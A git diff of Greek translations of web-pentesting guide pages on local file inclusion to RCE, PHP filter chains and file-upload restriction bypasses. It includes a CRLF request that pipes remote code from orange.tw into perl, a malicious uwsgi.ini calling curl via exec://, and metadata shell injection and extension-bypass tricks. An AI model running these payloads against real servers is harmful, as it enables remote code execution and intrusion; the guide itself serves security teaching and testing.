δεδομένα, το PHP θα **ενεργοποιήσει το session για εσάς**. Μπορείτε να το εκμεταλλευτείτε για να αποκτήσετε RCE: +If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE: {{#ref}} @@ -604,7 +606,7 @@ via-php_session_upload_progress.md ### Μέσω temp file uploads σε Windows -Αν βρήκατε ένα **Local File Inclusion** και ο διακομιστής τρέχει σε **Windows**, μπορεί να αποκτήσετε RCE: +If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE: {{#ref}} @@ -619,7 +621,7 @@ The following request create a file in `/tmp/hello.php` with the content `+/tmp/hello.php HTTP/1.1 ``` -Το ακόλουθο εκμεταλλεύεται ένα CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Το ακόλουθο εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -628,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Μέσω phpinfo() (file_uploads = on) -Αν βρήκατε ένα **Local File Inclusion** και ένα αρχείο που αποκαλύπτει **phpinfo()** με file_uploads = on μπορείτε να αποκτήσετε RCE: +Εάν βρήκατε μια **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on, μπορείτε να αποκτήσετε RCE: {{#ref}} @@ -637,7 +639,7 @@ lfi2rce-via-phpinfo.md ### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Αν βρήκατε ένα **Local File Inclusion** και μπορείτε να **exfiltrate the path** του temp file ΑΛΛΑ ο **server** ελέγχει αν το **file to be included has PHP marks**, μπορείτε να δοκιμάσετε να **bypass that check** με αυτή την **Race Condition**: +Εάν βρήκατε μια **Local File Inclusion** και μπορείτε να **exfiltrate the path** του προσωρινού αρχείου ΑΛΛΑ ο **server** ελέγχει αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να δοκιμάσετε να **bypass that check** με αυτή την **Race Condition**: {{#ref}} @@ -646,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Μέσω eternal waiting + bruteforce -Αν μπορείτε να καταχραστείτε το LFI για να **upload temporary files** και να κάνετε τον server να **hang** την εκτέλεση PHP, τότε μπορείτε να **brute force filenames during hours** για να βρείτε το temporary file: +Εάν μπορείτε να εκμεταλλευτείτε το LFI για να **upload temporary files** και να κάνετε τον **server** να **hang** την εκτέλεση του PHP, θα μπορούσατε στη συνέχεια να **brute force filenames during hours** για να βρείτε το προσωρινό αρχείο: {{#ref}} @@ -655,14 +657,14 @@ lfi2rce-via-eternal-waiting.md ### Σε Fatal Error -Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο μία φορά 2 φορές για να προκαλέσετε αυτό το error). +Αν συμπεριλάβετε κάποιο από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο μία 2 φορές για να προκαλέσετε αυτό το σφάλμα). -**Δεν ξέρω πώς είναι αυτό χρήσιμο αλλά μπορεί να είναι.**\ -_Ακόμη και αν προκαλέσετε ένα PHP Fatal Error, τα PHP temporary files που ανέβηκαν διαγράφονται._ +**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι.**\ +_Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα PHP προσωρινά αρχεία που ανέβηκαν διαγράφονται._
-## Αναφορές +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) @@ -671,6 +673,7 @@ _Ακόμη και αν προκαλέσετε ένα PHP Fatal Error, τα PHP - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 7037b8b47..a4f89b89b 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -1,39 +1,40 @@ -# LFI2RCE via PHP Filters +# LFI2RCE μέσω PHP Filters {{#include ../../banners/hacktricks-training.md}} -## Intro -Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο. +## Εισαγωγή -Βασικά, ο στόχος του script είναι να **δημιουργήσει μια Base64** συμβολοσειρά στην **αρχή** του αρχείου που θα **αποκωδικοποιηθεί τελικά** παρέχοντας το επιθυμητό payload που θα **ερμηνευτεί από το `include`**. +Αυτή η [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο. -Οι βάσεις για να το κάνετε αυτό είναι: +Ο στόχος του script είναι να **δημιουργήσει μια Base64** συμβολοσειρά στην **αρχή** του αρχείου που θα **αποκωδικοποιηθεί στο τέλος**, παρέχοντας το επιθυμητό payload το οποίο θα **ερμηνευτεί από το `include`**. -- `convert.iconv.UTF8.CSISO2022KR` θα προσθέσει πάντα `\x1b$)C` στην αρχή της συμβολοσειράς -- `convert.base64-decode` είναι εξαιρετικά ανεκτικός, βασικά θα αγνοήσει οποιουςδήποτε χαρακτήρες δεν είναι έγκυροι base64. Δίνει κάποια προβλήματα αν βρει απροσδόκητο "=", αλλά αυτά μπορούν να αφαιρεθούν με το φίλτρο `convert.iconv.UTF8.UTF7`. +Οι βάσεις για αυτό είναι: -Ο βρόχος για να δημιουργήσετε αυθαίρετο περιεχόμενο είναι: +- `convert.iconv.UTF8.CSISO2022KR` θα πάντα προσθέτει `\x1b$)C` στην αρχή της συμβολοσειράς +- `convert.base64-decode` είναι εξαιρετικά ανεκτικό, ουσιαστικά θα αγνοήσει οποιουςδήποτε χαρακτήρες που δεν είναι έγκυροι base64. Δίνει κάποια προβλήματα αν βρει απροσδόκητο "=", αλλά αυτά μπορούν να αφαιρεθούν με το φίλτρο `convert.iconv.UTF8.UTF7`. -1. προσθέστε `\x1b$)C` στην αρχή της συμβολοσειράς μας όπως περιγράφεται παραπάνω -2. εφαρμόστε μια αλυσίδα μετατροπών iconv που αφήνει την αρχική μας base64 ανέπαφη και μετατρέπει το μέρος που μόλις προσθέσαμε σε κάποια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο μέρος του κωδικού μας php που είναι κωδικοποιημένος σε base64 -3. αποκωδικοποιήστε και κωδικοποιήστε ξανά τη συμβολοσειρά που θα αφαιρέσει οποιοδήποτε σκουπίδι ενδιάμεσα -4. Επιστρέψτε στο 1 αν η base64 που θέλουμε να κατασκευάσουμε δεν έχει τελειώσει ακόμα -5. αποκωδικοποιήστε σε base64 για να αποκτήσετε τον php κώδικά μας +Ο βρόχος για να δημιουργήσεις arbitrary περιεχόμενο είναι: + +1. προσθέτεις `\x1b$)C` στην αρχή της συμβολοσειράς όπως περιγράφηκε παραπάνω +2. εφαρμόζεις μια αλυσίδα iconv conversions που αφήνει το αρχικό base64 ανέπαφο και μετατρέπει το μέρος που μόλις προσθέσαμε σε μια συμβολοσειρά όπου ο μόνος έγκυρος χαρακτήρας base64 είναι το επόμενο κομμάτι του base64-encoded php κώδικα +3. base64-decode και base64-encode τη συμβολοσειρά, πράγμα που θα αφαιρέσει τυχόν σκουπίδια ανάμεσά τους +4. επανέρχεσαι στο 1 αν το base64 που θέλεις να κατασκευάσεις δεν έχει ολοκληρωθεί ακόμα +5. base64-decode για να πάρεις τον php κώδικα > [!WARNING] -> **Οι συμπεριλήψεις** συνήθως κάνουν πράγματα όπως **να προσθέτουν ".php" στο τέλος** του αρχείου, κάτι που θα μπορούσε να δυσκολέψει την εκμετάλλευση αυτού γιατί θα χρειαστεί να βρείτε ένα αρχείο .php με περιεχόμενο που δεν θα καταστρέψει την εκμετάλλευση... ή μπορείτε **απλά να χρησιμοποιήσετε το `php://temp` ως πόρο** γιατί μπορεί **να έχει οτιδήποτε προστεθεί στο όνομα** (π.χ. +".php") και θα επιτρέπει ακόμα την εκμετάλλευση να λειτουργήσει! +> **Includes** συνήθως κάνουν πράγματα όπως **το να προσθέτουν ".php" στο τέλος** του αρχείου, κάτι που μπορεί να δυσκολέψει την εκμετάλλευση γιατί θα χρειαστεί να βρείς ένα .php αρχείο με περιεχόμενο που δεν θα καταστρέψει το exploit... ή **μπορείς απλά να χρησιμοποιήσεις `php://temp` ως resource** επειδή μπορεί **να έχει οτιδήποτε προσαρτημένο στο όνομα** (lie +".php") και αυτό θα εξακολουθήσει να επιτρέπει στο exploit να λειτουργήσει! -## Πώς να προσθέσετε επίσης επιθήματα στα αποτελέσματα +## Πώς να προσθέσεις επίσης suffixes στο τελικό αποτέλεσμα -[**Αυτή η αναφορά εξηγεί**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείτε να εκμεταλλευτείτε ακόμα τα PHP filters για να προσθέσετε επιθήματα στη συμβολοσειρά αποτελέσματος. Αυτό είναι εξαιρετικό σε περίπτωση που χρειάζεστε την έξοδο να έχει κάποια συγκεκριμένη μορφή (όπως json ή ίσως προσθέτοντας κάποια μαγικά bytes PNG) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) πώς μπορείς ακόμα να κακομεταχειριστείς PHP filters για να προσθέσεις suffixes στη τελική συμβολοσειρά. Αυτό είναι χρήσιμο σε περίπτωση που χρειάζεσαι το output να έχει κάποιο συγκεκριμένο format (όπως json ή ίσως να προσθέσεις κάποια PNG magic bytes) -## Αυτόματα Εργαλεία +## Αυτόματα εργαλεία - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(μπορεί να προσθέσει επιθήματα)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** -## Πλήρες script +## Full script ```python import requests @@ -95,7 +96,7 @@ print(r.text) ``` ### Βελτιώσεις -Το προηγούμενο σενάριο περιορίζεται στους χαρακτήρες base64 που απαιτούνται για αυτό το payload. Επομένως, δημιούργησα το δικό μου σενάριο για να **bruteforce όλους τους χαρακτήρες base64**: +Το προηγούμενο script περιορίζεται στους χαρακτήρες base64 που χρειάζονται για εκείνο το payload. Επομένως, δημιούργησα το δικό μου script για να **bruteforce όλους τους χαρακτήρες base64**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -164,7 +165,7 @@ conversions = { '=': '' } ``` -Εδώ είναι το **script** για να αποκτήσετε τις κωδικοποιήσεις που παράγουν κάθε γράμμα b64: +Εδώ είναι το **script** για να πάρετε τις κωδικοποιήσεις που δημιουργούν κάθε γράμμα b64: ```php AAA.php +7. Χρήση των **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, ο χαρακτήρας ":" θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg"). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του short filename. Το pattern "**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργηθούν μη-κενά αρχεία. Επομένως, η προσθήκη ενός dot χαρακτήρα μετά από αυτό το pattern μπορεί επίσης να είναι χρήσιμη για περαιτέρω παράκαμψη περιορισμών (π.χ. "file.asp::$data.”) +8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png ### Bypass Content-Type, Magic Number, Compression & Resizing -- Παρακάμψε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_, _text/plain_, application/octet-stream_ +- Παράκαμψη ελέγχων **Content-Type** ρυθμίζοντας την **τιμή** του header **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Παρακάμψε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\ +- Παράκαμψη ελέγχου **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes ενός πραγματικού image** (να μπερδέψει την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\ `exiftool -Comment="' >> img.png` -- Αν **συμπιέσεις προστίθεται στην εικόνα σου**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. -- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. -- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Μια άλλη τεχνική για να δημιουργήσεις ένα payload που **επιβιώνει σε αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. -- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Αν γίνεται **συμπίεση** στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την PLTE chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει της συμπίεσης**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- Η σελίδα θα μπορούσε επίσης να κάνει **resizing** της **image**, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την IDAT chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει ένα image resizing**, χρησιμοποιώντας τη PHP-GD function `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την tEXt chunk [**τεχνική ορισμένη εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει της συμπίεσης**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Other Tricks to check +### Άλλα κόλπα για έλεγχο -- Βρες μια ευπάθεια για να **μετονομάσεις** το αρχείο που έχει ήδη ανέβει (για να αλλάξεις την επέκταση). -- Βρες μια ευπάθεια **Local File Inclusion** για να εκτελέσεις το backdoor. +- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση). +- Βρείτε μια **Local File Inclusion** ευπάθεια για να εκτελέσετε το backdoor. - **Πιθανή αποκάλυψη πληροφοριών**: -1. Ανέβασε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα** -2. Ανέβασε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη** -3. Ανέβασε ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”. -4. Ανέβασε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows) -5. Ανέβασε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows) -6. Ανέβασε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9. -- Δοκίμασε επίσης να **ανέβεις ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελεί κώδικα** όταν ακούσια ανοιχτεί από το θύμα. +1. Ανεβάστε **πολλές φορές** (και **ταυτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα** +2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη** +3. Ανεβάζοντας ένα αρχείο με **".", "..", ή "…"** ως όνομα. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο "/www/uploads/" directory, το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" μέσα στο "/www/" directory. +4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **"…:.jpg”** σε **NTFS**. (Windows) +5. Ανεβάστε ένα αρχείο σε **Windows** με **άκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows) +6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **απαγορευμένα** ονόματα όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. +- Δοκιμάστε επίσης να **ανεβάσετε ένα executable** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα. -### Special extension tricks +### Ειδικά κόλπα με επεκτάσεις -Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **PHP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.htaccess** για να εκτελέσεις κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **ASP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.config** για να εκτελέσεις κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο κόλπο με το **.htaccess** για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο κόλπο με το **.config** για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Τα αρχεία `.phar` είναι όπως τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...) +Τα `.phar` αρχεία είναι σαν τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτελώντας τα με php, ή συμπεριλαμβάνοντάς τα μέσα σε ένα script...) -Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**. +Η επέκταση `.inc` μερικές φορές χρησιμοποιείται για php αρχεία που χρησιμοποιούνται μόνο για **import files**, οπότε, κάποτε, κάποιος μπορεί να είχε επιτρέψει **αυτή την επέκταση να εκτελείται**. ## **Jetty RCE** -Αν μπορείς να ανεβάσεις ένα αρχείο XML σε έναν διακομιστή Jetty μπορείς να αποκτήσεις [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανέβασε το αρχείο XML στο `$JETTY_BASE/webapps/` και περίμενε το shell! +Αν μπορείτε να ανεβάσετε ένα XML αρχείο σε έναν Jetty server μπορείτε να αποκτήσετε [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το XML αρχείο στο `$JETTY_BASE/webapps/` και περιμένετε shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας, έλεγξε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται. +Remote Command Execution (RCE) ευπάθειες μπορούν να εκμεταλλευτούν σε uWSGI servers αν κάποιος έχει τη δυνατότητα να τροποποιήσει το `.ini` configuration file. Τα αρχεία ρύθμισης του uWSGI χρησιμοποιούν μια ειδική σύνταξη για να ενσωματώνουν "magic" μεταβλητές, placeholders και operators. Σημαντικά, ο operator '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να συμπεριλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα `.ini` configuration file επεξεργάζεται. -Σκέψου το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα: +Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνευθούν αλλαγές. +Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από ένα crash ή εξαιτίας επίθεσης Denial of Service) είτε το αρχείο να έχει οριστεί σε auto-reload. Η λειτουργία auto-reload, εάν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν εντοπιστούν αλλαγές. -Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης. +Είναι κρίσιμο να κατανοήσει κανείς την χαλαρή φύση της ανάλυσης των αρχείων ρυθμίσεων από το uWSGI. Συγκεκριμένα, το payload που συζητήθηκε μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το εύρος της πιθανής εκμετάλλευσης. ## **wget File Upload/SSRF Trick** -Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατεβούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\ -Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, το **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. 